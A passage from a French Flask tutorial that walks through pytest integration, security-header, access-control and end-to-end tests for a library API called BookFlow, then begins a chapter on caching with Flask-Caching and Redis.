      """Tests GET /api/v1/livres/."""

      def test_liste_vide(self, client):
          """Liste vide si aucun livre -> 200 avec data=[]."""
          response = client.get('/api/v1/livres/')
          assert response.status_code == 200
          data = response.get_json()
          assert data['success'] is True
          assert isinstance(data['data'], list)
          assert 'meta' in data

      def test_liste_avec_livres(self, client, livres_multiples):
          """Liste avec livres -> retourne les données paginées."""
          response = client.get('/api/v1/livres/')
          assert response.status_code == 200
          data = response.get_json()
          assert len(data['data']) <= 10       # Limite par page
          assert data['meta']['total'] == 15   # 15 livres en base

      def test_pagination(self, client, livres_multiples):
          """La pagination divise correctement les résultats."""
          resp_page1 = client.get('/api/v1/livres/?page=1&per_page=5')
          resp_page2 = client.get('/api/v1/livres/?page=2&per_page=5')

          data1 = resp_page1.get_json()
          data2 = resp_page2.get_json()

          assert len(data1['data']) == 5
          assert len(data2['data']) == 5

          # Les deux pages ne doivent pas avoir les mêmes IDs
          ids_page1 = {l['id'] for l in data1['data']}
          ids_page2 = {l['id'] for l in data2['data']}
          assert ids_page1.isdisjoint(ids_page2)  # Pas de chevauchement

      def test_filtre_genre(self, client, livres_multiples):
          """Filtre par genre fonctionne."""
          response = client.get('/api/v1/livres/?genre=fantasy')
          data = response.get_json()
          assert all(l['genre'] == 'fantasy' for l in data['data'])

      def test_filtre_disponible(self, client, livres_multiples):
          """Filtre disponible=true retourne uniquement les disponibles."""
          response = client.get('/api/v1/livres/?disponible=true')
          data = response.get_json()
          assert all(l['disponible'] is True for l in data['data'])

      def test_recherche_textuelle(self, client, livre):
          """Recherche par titre partiel."""
          titre_partiel = livre.titre[:3].lower()
          response = client.get(f'/api/v1/livres/?q={titre_partiel}')
          data = response.get_json()
          assert data['success'] is True
          # Le livre doit être dans les résultats
          titres = [l['titre'] for l in data['data']]
          assert livre.titre in titres

      def test_tri_par_titre(self, client, livres_multiples):
          """Tri par titre croissant fonctionne."""
          response = client.get('/api/v1/livres/?sort=titre&order=asc&per_page=100')
          data = response.get_json()
          titres = [l['titre'] for l in data['data']]
          assert titres == sorted(titres)

      def test_per_page_max_100(self, client, livres_multiples):
          """per_page ne peut pas dépasser 100."""
          response = client.get('/api/v1/livres/?per_page=500')
          data = response.get_json()
          assert data['meta']['per_page'] <= 100

  class TestGetLivre:
      """Tests GET /api/v1/livres/<id>."""

      def test_livre_existant(self, client, livre):
          """Livre existant -> 200 avec données."""
          response = client.get(f'/api/v1/livres/{livre.id}')
          assert response.status_code == 200
          data = response.get_json()
          assert data['data']['id'] == livre.id
          assert data['data']['titre'] == livre.titre

      def test_livre_inexistant(self, client):
          """Livre inexistant -> 404."""
          response = client.get('/api/v1/livres/99999')
          assert response.status_code == 404

      def test_id_non_numerique(self, client):
          """ID non numérique dans l'URL -> 404 (Flask ne route pas)."""
          response = client.get('/api/v1/livres/abc')
          assert response.status_code == 404

  class TestCreerLivre:
      """Tests POST /api/v1/livres/."""

      def test_creer_livre_valide_authentifie(self, client, headers_auth, livre_data):
          """Créer un livre avec authentification -> 201."""
          response = client.post(
              '/api/v1/livres/',
              json=livre_data,
              headers=headers_auth
          )
          assert response.status_code == 201
          data = response.get_json()
          assert data['success'] is True
          assert data['data']['titre'] == livre_data['titre']
          assert data['data']['id'] is not None
          # Vérifier le header Location
          assert 'Location' in response.headers

      def test_creer_livre_non_authentifie(self, client, livre_data):
          """Créer un livre sans token -> 401."""
          response = client.post('/api/v1/livres/', json=livre_data)
          assert response.status_code == 401

      def test_creer_livre_sans_titre(self, client, headers_auth):
          """Titre manquant -> 400."""
          response = client.post(
              '/api/v1/livres/',
              json={'auteur': 'Test'},
              headers=headers_auth
          )
          assert response.status_code == 400

      def test_creer_livre_isbn_duplique(self, client, headers_auth, livre, livre_data):
          """ISBN déjà utilisé -> 409."""
          livre_data['isbn'] = livre.isbn
          response = client.post(
              '/api/v1/livres/',
              json=livre_data,
              headers=headers_auth
          )
          assert response.status_code == 409

  class TestModifierLivre:
      """Tests PATCH /api/v1/livres/<id>."""

      def test_modifier_titre(self, client, headers_admin, livre):
          """Modifier le titre d'un livre."""
          response = client.patch(
              f'/api/v1/livres/{livre.id}',
              json={'titre': 'Nouveau Titre'},
              headers=headers_admin
          )
          assert response.status_code == 200
          data = response.get_json()
          assert data['data']['titre'] == 'Nouveau Titre'

      def test_patch_partiel_conserve_autres_champs(self, client, headers_admin, livre):
          """PATCH ne modifie que les champs fournis."""
          auteur_original = livre.auteur
          response = client.patch(
              f'/api/v1/livres/{livre.id}',
              json={'pages': 999},
              headers=headers_admin
          )
          assert response.status_code == 200
          data = response.get_json()
          # L'auteur n'a pas changé
          assert data['data']['auteur'] == auteur_original
          # Mais les pages ont changé
          assert data['data']['pages'] == 999

      def test_modifier_livre_non_authentifie(self, client, livre):
          """Modifier sans token -> 401."""
          response = client.patch(
              f'/api/v1/livres/{livre.id}',
              json={'titre': 'Hack'}
          )
          assert response.status_code == 401

      def test_modifier_livre_user_non_admin(self, client, headers_auth, livre):
          """Un utilisateur normal ne peut pas modifier les livres -> 403."""
          response = client.patch(
              f'/api/v1/livres/{livre.id}',
              json={'titre': 'Test'},
              headers=headers_auth  # Token user, pas admin
          )
          assert response.status_code == 403

  class TestSupprimerLivre:
      """Tests DELETE /api/v1/livres/<id>."""

      def test_supprimer_livre_admin(self, client, headers_admin, livre):
          """Admin peut supprimer un livre -> 204."""
          response = client.delete(
              f'/api/v1/livres/{livre.id}',
              headers=headers_admin
          )
          assert response.status_code == 204
          assert response.data == b''  # Pas de body

          # Vérifier que le livre n'est plus accessible
          response2 = client.get(f'/api/v1/livres/{livre.id}')
          assert response2.status_code == 404

      def test_supprimer_livre_user(self, client, headers_auth, livre):
          """Un user normal ne peut pas supprimer -> 403."""
          response = client.delete(
              f'/api/v1/livres/{livre.id}',
              headers=headers_auth
          )
          assert response.status_code == 403

      def test_supprimer_livre_inexistant(self, client, headers_admin):
          """Supprimer un livre inexistant -> 404."""
          response = client.delete('/api/v1/livres/99999', headers=headers_admin)
          assert response.status_code == 404

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  TESTS DES EMPRUNTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/integration/test_emprunts.py
  import pytest

  class TestCreerEmprunt:
      """Tests POST /api/v1/emprunts/."""

      def test_emprunter_livre_disponible(self, client, headers_auth, livre):
          """Emprunter un livre disponible -> 201."""
          response = client.post(
              '/api/v1/emprunts/',
              json={'livre_id': livre.id},
              headers=headers_auth
          )
          assert response.status_code == 201
          data = response.get_json()
          assert data['data']['statut'] == 'en_cours'
          assert data['data']['livre_id'] == livre.id

      def test_livre_indisponible_apres_emprunt(
          self, client, headers_auth, livre, db_session, app
      ):
          """Le livre devient indisponible après l'emprunt."""
          client.post(
              '/api/v1/emprunts/',
              json={'livre_id': livre.id},
              headers=headers_auth
          )
          # Vérifier via l'API que le livre est maintenant indisponible
          response = client.get(f'/api/v1/livres/{livre.id}')
          assert response.get_json()['data']['disponible'] is False

      def test_emprunter_livre_indisponible(
          self, client, headers_auth, db_session, app
      ):
          """Emprunter un livre déjà emprunté -> 409."""
          with app.app_context():
              from app.models import Livre
              livre_indispo = Livre(
                  titre='Indispo', auteur='Test', disponible=False
              )
              db_session.add(livre_indispo)
              db_session.flush()

          response = client.post(
              '/api/v1/emprunts/',
              json={'livre_id': livre_indispo.id},
              headers=headers_auth
          )
          assert response.status_code == 409

      def test_max_emprunts_simultanes(self, client, headers_auth, db_session, app):
          """Un user ne peut pas avoir plus de 3 emprunts en cours -> 409."""
          with app.app_context():
              from app.models import Livre
              livres = []
              for i in range(4):
                  l = Livre(titre=f'Livre Emprunt {i}', auteur='Test', disponible=True)
                  db_session.add(l)
                  livres.append(l)
              db_session.flush()

          # Emprunter 3 livres (OK)
          for l in livres[:3]:
              resp = client.post(
                  '/api/v1/emprunts/', json={'livre_id': l.id}, headers=headers_auth
              )
              assert resp.status_code == 201

          # Le 4ème emprunt doit échouer
          resp = client.post(
              '/api/v1/emprunts/',
              json={'livre_id': livres[3].id},
              headers=headers_auth
          )
          assert resp.status_code == 409

  class TestRetournerEmprunt:
      """Tests PATCH /api/v1/emprunts/<id>/retourner."""

      def test_retourner_livre(self, client, headers_auth, utilisateur, livre, db_session, app):
          """Retourner un livre emprunté -> 200 + livre redevient disponible."""
          with app.app_context():
              from app.models import Emprunt
              from datetime import datetime, timezone, timedelta
              emprunt = Emprunt(
                  user_id=utilisateur.id,
                  livre_id=livre.id,
                  date_debut=datetime.now(timezone.utc),
                  date_retour_prevue=datetime.now(timezone.utc) + timedelta(days=14),
                  statut='en_cours'
              )
              livre.disponible = False
              db_session.add(emprunt)
              db_session.flush()
              emprunt_id = emprunt.id
              livre_id = livre.id

          # Retourner l'emprunt
          response = client.patch(
              f'/api/v1/emprunts/{emprunt_id}/retourner',
              headers=headers_auth
          )
          assert response.status_code == 200
          data = response.get_json()
          assert data['data']['statut'] == 'retourne'

          # Vérifier que le livre est à nouveau disponible
          resp_livre = client.get(f'/api/v1/livres/{livre_id}')
          assert resp_livre.get_json()['data']['disponible'] is True

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  TESTS DES HEADERS ET DE LA SÉCURITÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/integration/test_security.py
  import pytest

  class TestHeadersSecurite:
      """Tests que les headers de sécurité sont présents."""

      def test_x_content_type_options(self, client):
          response = client.get('/api/v1/livres/')
          assert response.headers.get('X-Content-Type-Options') == 'nosniff'

      def test_x_frame_options(self, client):
          response = client.get('/api/v1/livres/')
          assert response.headers.get('X-Frame-Options') == 'DENY'

      def test_content_type_json(self, client):
          response = client.get('/api/v1/livres/')
          assert 'application/json' in response.headers.get('Content-Type', '')

      def test_request_id_present(self, client):
          response = client.get('/api/v1/livres/')
          assert 'X-Request-ID' in response.headers

  class TestRateLimiting:
      """Tests du rate limiting."""

      def test_login_rate_limit(self, client):
          """Plus de 5 tentatives de login -> 429."""
          for i in range(5):
              client.post('/api/v1/auth/login', json={
                  'email': f'test{i}@test.com',
                  'mot_de_passe': 'mauvais'
              })

          # La 6ème tentative devrait être bloquée
          response = client.post('/api/v1/auth/login', json={
              'email': 'test@test.com',
              'mot_de_passe': 'mauvais'
          })
          # Selon la config, devrait être 429 ou toujours 401
          assert response.status_code in (401, 429)

  class TestAutorisation:
      """Tests du contrôle d'accès."""

      def test_routes_protegees_sans_token(self, client):
          """Les routes protégées doivent retourner 401 sans token."""
          routes_protegees = [
              ('POST', '/api/v1/livres/'),
              ('PATCH', '/api/v1/livres/1'),
              ('DELETE', '/api/v1/livres/1'),
              ('GET', '/api/v1/auth/me'),
          ]
          for method, route in routes_protegees:
              response = client.open(route, method=method, json={})
              assert response.status_code == 401, \
                  f"Route {method} {route} devrait retourner 401 sans token"

      def test_routes_admin_sans_droits(self, client, headers_auth):
          """Les routes admin doivent retourner 403 pour un user normal."""
          routes_admin = [
              ('GET', '/api/v1/admin/statistiques'),
              ('DELETE', '/api/v1/livres/1'),  # Si admin seulement
          ]
          for method, route in routes_admin:
              response = client.open(route, method=method, headers=headers_auth)
              assert response.status_code in (403, 404), \
                  f"Route {method} {route} devrait être 403 ou 404 pour user normal"

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  TESTS E2E — WORKFLOWS COMPLETS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/e2e/test_workflows.py
  import pytest

  class TestWorkflowCompletInscriptionEmprunt:
      """
      Test E2E : Workflow complet d'un utilisateur
      1. Inscription
      2. Login
      3. Consulter les livres
      4. Emprunter un livre
      5. Retourner le livre
      6. Déconnexion
      """

      def test_workflow_complet(self, client, livre):
          """Test le flux complet d'utilisation de BookFlow."""

          # ÉTAPE 1 : Inscription
          resp_register = client.post('/api/v1/auth/register', json={
              'nom': 'Nouveau User E2E',
              'email': 'e2e@test.com',
              'mot_de_passe': 'E2ePass123!'
          })
          assert resp_register.status_code == 201

          # ÉTAPE 2 : Login
          resp_login = client.post('/api/v1/auth/login', json={
              'email': 'e2e@test.com',
              'mot_de_passe': 'E2ePass123!'
          })
          assert resp_login.status_code == 200
          token = resp_login.get_json()['data']['access_token']
          headers = {
              'Authorization': f'Bearer {token}',
              'Content-Type': 'application/json'
          }

          # ÉTAPE 3 : Consulter les livres
          resp_livres = client.get('/api/v1/livres/')
          assert resp_livres.status_code == 200
          assert resp_livres.get_json()['meta']['total'] >= 1

          # ÉTAPE 4 : Emprunter un livre
          resp_emprunt = client.post(
              '/api/v1/emprunts/',
              json={'livre_id': livre.id},
              headers=headers
          )
          assert resp_emprunt.status_code == 201
          emprunt_id = resp_emprunt.get_json()['data']['id']

          # Vérifier que le livre est indisponible
          resp_livre = client.get(f'/api/v1/livres/{livre.id}')
          assert resp_livre.get_json()['data']['disponible'] is False

          # ÉTAPE 5 : Retourner le livre
          resp_retour = client.patch(
              f'/api/v1/emprunts/{emprunt_id}/retourner',
              headers=headers
          )
          assert resp_retour.status_code == 200
          assert resp_retour.get_json()['data']['statut'] == 'retourne'

          # Vérifier que le livre est disponible
          resp_livre2 = client.get(f'/api/v1/livres/{livre.id}')
          assert resp_livre2.get_json()['data']['disponible'] is True

          # ÉTAPE 6 : Déconnexion
          resp_logout = client.post('/api/v1/auth/logout', headers=headers)
          assert resp_logout.status_code == 200

          # Vérifier que le token ne fonctionne plus
          resp_protected = client.get('/api/v1/auth/me', headers=headers)
          assert resp_protected.status_code == 401

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  COUVERTURE DE CODE ET RAPPORTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Lancer tous les tests avec couverture
  pytest --cov=app --cov-report=term-missing --cov-report=html

  # Voir le rapport détaillé
  open htmlcov/index.html  # Mac
  start htmlcov/index.html # Windows

  # Résultat type :
  # Name                           Stmts   Miss  Cover
  # ──────────────────────────────────────────────────
  # app/__init__.py                   45      3    93%
  # app/models/livre.py              120     12    90%
  # app/services/livre_service.py     95      8    92%
  # app/routes/api/v1/livres.py      180     22    88%
  # ──────────────────────────────────────────────────
  # TOTAL                            980     89    91%

  # Exclure certains fichiers de la couverture
  # .coveragerc
  [run]
  source = app
  omit =
      app/migrations/*
      app/config.py
      tests/*
      */__init__.py

  [report]
  exclude_lines =
      pragma: no cover
      def __repr__
      raise NotImplementedError
      if __name__ == '__main__':

  # Marquer du code comme exclus de la couverture :
  def methode_non_testee():  # pragma: no cover
      pass

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 40.1 : Écris les tests d'intégration pour POST /auth/register.
    Couvrir : données valides, email dupliqué, email invalide, mdp trop court.

  Exercice 40.2 : Écris les tests pour GET /api/v1/livres/ :
    - Liste vide
    - Pagination (page 1 et page 2)
    - Filtre genre
    - Filtre disponible

  Exercice 40.3 : Vérifie que les headers de sécurité sont présents
    dans TOUTES les réponses (X-Content-Type-Options, X-Frame-Options).

NIVEAU INTERMÉDIAIRE :
  Exercice 40.4 : Écris le test E2E du workflow emprunt complet.
    Inscription -> Login -> Voir livres -> Emprunter -> Retourner -> Logout.

  Exercice 40.5 : Teste que le token révoqué après logout ne fonctionne plus.
    Et que les routes protégées renvoient 401 sans token.

  Exercice 40.6 : Atteins 75% de couverture globale sur app/.
    Identifie avec htmlcov les zones non couvertes et ajoute les tests.

NIVEAU AVANCÉ :
  Exercice 40.7 : Crée un test de performance basique :
    Mesure le temps de réponse de GET /api/v1/livres/ avec 100 livres en BDD.
    Le test échoue si la réponse prend plus de 200ms.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 40.7 — Test de performance :

  import time

  class TestPerformance:
      """Tests de performance basiques."""

      def test_liste_livres_temps_reponse(self, client, db_session, app):
          """GET /livres/ doit répondre en moins de 200ms avec 100 livres."""
          with app.app_context():
              from app.models import Livre
              livres = [
                  Livre(titre=f'Livre {i}', auteur=f'Auteur {i}', pages=100 + i)
                  for i in range(100)
              ]
              db_session.add_all(livres)
              db_session.flush()

          debut = time.time()
          response = client.get('/api/v1/livres/?per_page=10')
          duree = (time.time() - debut) * 1000

          assert response.status_code == 200
          assert duree < 200, f"Trop lent : {duree:.0f}ms (max 200ms)"

      def test_recherche_textuelle_temps_reponse(self, client, livres_multiples):
          """La recherche doit répondre en moins de 300ms."""
          debut = time.time()
          response = client.get('/api/v1/livres/?q=livre')
          duree = (time.time() - debut) * 1000

          assert response.status_code == 200
          assert duree < 300, f"Recherche trop lente : {duree:.0f}ms"

      def test_login_temps_reponse(self, client, utilisateur):
          """Login doit répondre en moins de 1s (bcrypt est lent)."""
          debut = time.time()
          response = client.post('/api/v1/auth/login', json={
              'email': utilisateur.email,
              'mot_de_passe': 'TestPass123!'
          })
          duree = (time.time() - debut) * 1000

          assert response.status_code == 200
          # bcrypt prend ~250ms avec rounds=12, donc 1000ms est raisonnable
          assert duree < 1000, f"Login trop lent : {duree:.0f}ms"


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW : SUITE DE TESTS COMPLÈTE           ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  RÉCAPITULATIF DE LA SUITE DE TESTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  tests/
  ├── conftest.py               <- Fixtures : app, db, client, user, admin, tokens
  ├── factories.py              <- Factory Boy : données de test réalistes
  │
  ├── unit/
  │   ├── test_models.py        <- Utilisateur, Livre, Emprunt (30 tests)
  │   ├── test_services.py      <- LivreService (15 tests)
  │   ├── test_utils.py         <- HashMdp, nettoyer_html, assainir (10 tests)
  │   └── test_schemas.py       <- LivreSchema, UtilisateurSchema (12 tests)
  │
  ├── integration/
  │   ├── test_auth.py          <- Register, Login, Logout (20 tests)
  │   ├── test_livres.py        <- CRUD livres, filtres, pagination (25 tests)
  │   ├── test_emprunts.py      <- Emprunt, retour, règles métier (15 tests)
  │   └── test_security.py      <- Headers, rate limit, autorisation (12 tests)
  │
  └── e2e/
      └── test_workflows.py     <- Workflows complets (5 tests)

  TOTAL : ~144 tests
  COUVERTURE VISÉE : ≥ 80%

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  COMMANDES UTILES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Lancer tous les tests
  pytest

  # Tests unitaires seulement (rapides)
  pytest tests/unit/ -v

  # Tests d'intégration seulement
  pytest tests/integration/ -v

  # Un fichier spécifique
  pytest tests/integration/test_livres.py -v

  # Un test spécifique
  pytest tests/integration/test_livres.py::TestGetLivres::test_pagination -v

  # Avec couverture et rapport HTML
  pytest --cov=app --cov-report=html && open htmlcov/index.html

  # En mode verbeux avec sortie colorée
  pytest -v --tb=short -q

  # Stop au premier échec
  pytest -x

  # Réexécuter seulement les tests en échec
  pytest --lf  # last failed

  # Filtrer par nom de test
  pytest -k "test_login" -v

  # Marquer des tests pour les ignorer
  @pytest.mark.skip(reason="En cours d'implémentation")
  def test_feature_wip():
      pass

  @pytest.mark.slow
  def test_lent():
      pass
  # pytest -m "not slow"  -> ignorer les tests lents


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 11 — TESTING

  [DOCS] Tu as appris :
     -> Pyramide de tests : unitaires / intégration / E2E
     -> Pytest : installation, configuration, pytest.ini
     -> conftest.py : fixtures partagées (app, db_session, client, user, tokens)
     -> Isolation des tests : rollback automatique après chaque test
     -> Factory Boy : génération de données de test réalistes et réutilisables
     -> Tests unitaires des modèles : création, hash mdp, to_dict, soft delete
     -> Tests unitaires des services : validation, règles métier, cas d'erreur
     -> Mocks avec unittest.mock : patch, MagicMock, assert_called_once
     -> Tests des schémas Marshmallow : validation, sérialisation
     -> Tests d'intégration des routes : auth (register, login, logout, révocation)
     -> Tests CRUD livres : liste, filtres, pagination, création, modification, suppression
     -> Tests des emprunts : règles métier (max 3, disponibilité, retour)
     -> Tests de sécurité : headers, rate limiting, contrôle d'accès
     -> Tests E2E : workflow complet d'utilisation
     -> Couverture de code : pytest-cov, htmlcov, .coveragerc
     -> Tests de performance : mesure du temps de réponse

  -> Prochaine étape : Partie 12 — Performance (caching, optimisation, profiling)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 12 : PERFORMANCE                         ║
║         Caching, Optimisation Base de Données et Profiling                        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 12 / 20
Chapitres      : 41 -> 42
Prérequis      : Parties 1 à 11 (Flask complet, BDD, API, Tests)
Projet fil     : BookFlow — Optimisation pour la production

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 12
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 41 — Caching : Flask-Caching, Redis et stratégies de cache
  CHAPITRE 42 — Optimisation : BDD, requêtes N+1, profiling et monitoring

  PROJET FIL ROUGE — BookFlow : optimisation complète pour la production

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 41 — CACHING                                                 ║
║     Flask-Caching, Redis et stratégies pour une API ultra-rapide                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE LE CACHING ?
───────────────────────────
Le caching consiste à stocker temporairement des résultats de calculs
ou de requêtes coûteux pour les réutiliser sans refaire le travail.

ANALOGIE DU RESTAURANT :
  Sans cache : Chaque client commande -> le chef cuisine depuis zéro
  Avec cache  : Le chef prépare 100 portions en avance -> service immédiat

POURQUOI LE CACHE EST CRITIQUE EN PRODUCTION :
  -> Une requête BDD complexe peut prendre 200ms
  -> Un cache bien configuré la ramène à 1ms
  -> Réduction de la charge serveur de 80-90%
  -> Permet de gérer des milliers de requêtes simultanées

QUOI METTRE EN CACHE :
  [OK] Données qui changent rarement : catalogue livres, catégories, statistiques
  [OK] Résultats de calculs lourds : recommandations, agrégations
  [OK] Réponses API publiques non personnalisées
  [OK] Pages HTML générées côté serveur

NE PAS METTRE EN CACHE :
  [X] Données personnalisées (profil utilisateur, emprunts)
  [X] Données sensibles (tokens, mots de passe)
  [X] Données qui changent très souvent (stock en temps réel)
  [X] Réponses d'erreurs


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  FLASK-CACHING — INSTALLATION ET CONFIG
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install flask-caching redis

TYPES DE BACKENDS DISPONIBLES :

  SimpleCache   -> Mémoire locale Python (dev, mono-instance seulement)
  RedisCache    -> Redis (recommandé en prod, multi-instances)
  MemcachedCache -> Memcached (alternative à Redis)
  FileSystemCache -> Fichiers disque (dev, pas pour la prod)
  NullCache     -> Désactive le cache (tests)

CONFIGURATION COMPLÈTE :

  # app/config.py
  class DevelopmentConfig(Config):
      CACHE_TYPE = 'SimpleCache'
      CACHE_DEFAULT_TIMEOUT = 300      # 5 minutes par défaut

  class ProductionConfig(Config):
      CACHE_TYPE = 'RedisCache'
      CACHE_REDIS_URL = os.getenv('REDIS_URL', 'redis://localhost:6379/0')
      # Format : redis://:password@hostname:port/db_number
      CACHE_DEFAULT_TIMEOUT = 300
      CACHE_KEY_PREFIX = 'bookflow_'   # Préfixe pour tous les keys
      CACHE_OPTIONS = {
          'socket_timeout': 5,         # Timeout connexion Redis
          'socket_connect_timeout': 5,
      }

  class TestingConfig(Config):
      CACHE_TYPE = 'NullCache'         # Désactivé en tests (résultats prévisibles)

  # app/__init__.py / extensions.py
  from flask_caching import Cache
  cache = Cache()

  def create_app(config_name='development'):
      app = Flask(__name__)
      # ...
      cache.init_app(app, config={
          'CACHE_TYPE':            app.config.get('CACHE_TYPE', 'SimpleCache'),
          'CACHE_REDIS_URL':       app.config.get('CACHE_REDIS_URL'),
          'CACHE_DEFAULT_TIMEOUT': app.config.get('CACHE_DEFAULT_TIMEOUT', 300),
          'CACHE_KEY_PREFIX':      app.config.get('CACHE_KEY_PREFIX', 'bookflow_'),
      })
      return app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LES STRATÉGIES DE CACHE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

STRATÉGIE 1 — CACHE ASIDE (Le plus courant)
────────────────────────────────────────────
Le code vérifie le cache. Si absent, il charge depuis la BDD et met en cache.

  from app.extensions import cache

  @api_livres_bp.route('/statistiques', methods=['GET'])
  def get_statistiques():
      """Statistiques globales — mises en cache 10 minutes."""
      CLE_CACHE = 'stats_livres_global'

      # 1. Vérifier le cache
      stats = cache.get(CLE_CACHE)

      if stats is None:
          # 2. Cache miss -> calculer depuis la BDD (opération coûteuse)
          from sqlalchemy import func
          total = Livre.query.count()
          disponibles = Livre.query.filter_by(disponible=True).count()
          par_genre = db.session.query(
              Livre.genre, func.count(Livre.id).label('nb')
          ).group_by(Livre.genre).all()

          stats = {
              'total_livres':   total,
              'disponibles':    disponibles,
              'empruntes':      total - disponibles,
              'par_genre':      {g: n for g, n in par_genre},
              'genere_le':      datetime.now(timezone.utc).isoformat()
          }

          # 3. Mettre en cache pour 10 minutes
          cache.set(CLE_CACHE, stats, timeout=600)

      return jsonify({'success': True, 'data': stats})

STRATÉGIE 2 — DÉCORATEUR @cache.cached
────────────────────────────────────────
Flask-Caching peut mettre en cache automatiquement le retour d'une fonction.

  @api_livres_bp.route('/statistiques', methods=['GET'])
  @cache.cached(timeout=600, key_prefix='stats_livres')
  def get_statistiques():
      """
      @cache.cached met automatiquement la réponse en cache.
      key_prefix : identifiant unique dans le cache Redis.
      timeout : durée de vie en secondes (None = jamais expire).
      """
      stats = LivreRepository.statistiques()
      return jsonify({'success': True, 'data': stats})

  # Cache par URL complète (inclut les query params)
  @api_livres_bp.route('/', methods=['GET'])
  @cache.cached(timeout=60, key_prefix=lambda: f'livres_{request.query_string.decode()}')
  def get_livres():
      """Chaque combinaison de filtres est mise en cache séparément."""
      # ...

STRATÉGIE 3 — MEMOIZE (Cache par arguments)
─────────────────────────────────────────────
Met en cache le résultat d'une FONCTION selon ses arguments.

  @cache.memoize(timeout=300)
  def get_livre_detail(livre_id: int) -> dict:
      """
      @cache.memoize met en cache selon les arguments.
      get_livre_detail(1) et get_livre_detail(2) ont des caches séparés.
      """
      livre = Livre.query.get(livre_id)
      if not livre:
          return None
      return livre.to_dict(include_relations=True)

  # Invalider pour un ID spécifique
  cache.delete_memoized(get_livre_detail, 42)  # Invalide seulement id=42
  cache.delete_memoized(get_livre_detail)      # Invalide TOUS les caches

  # Utilisation dans une route
  @api_livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      data = get_livre_detail(livre_id)  # Depuis le cache ou la BDD
      if not data:
          return jsonify({'error': 'Non trouvé'}), 404
      return jsonify({'success': True, 'data': data})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  INVALIDATION DU CACHE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

La partie la plus délicate du caching : savoir QUAND invalider.

INVALIDER MANUELLEMENT :

  # Supprimer une clé spécifique
  cache.delete('stats_livres_global')

  # Supprimer plusieurs clés par pattern (Redis uniquement)
  from app.extensions import cache

  def invalider_cache_livres():
      """Invalide tous les caches liés aux livres."""
      # Avec Redis, on peut utiliser les patterns
      import redis
      r = redis.from_url(app.config['CACHE_REDIS_URL'])
      prefix = app.config.get('CACHE_KEY_PREFIX', '')
      # Invalider toutes les clés commençant par bookflow_livres_
      keys = r.keys(f'{prefix}livres_*')
      if keys:
          r.delete(*keys)

  # Invalider via les memoized
  cache.delete_memoized(get_livre_detail)

INVALIDER DANS LES ROUTES DE MODIFICATION :

  @api_livres_bp.route('/', methods=['POST'])
  @login_requis
  def creer_livre():
      """Après création, invalider les caches de liste."""
      # ... créer le livre ...
      db.session.commit()

      # Invalider les caches impactés
      cache.delete('stats_livres_global')     # Stats changées
      cache.delete_memoized(get_livres_liste) # Liste doit se recharger
      # Les caches par query params se re-créeront naturellement

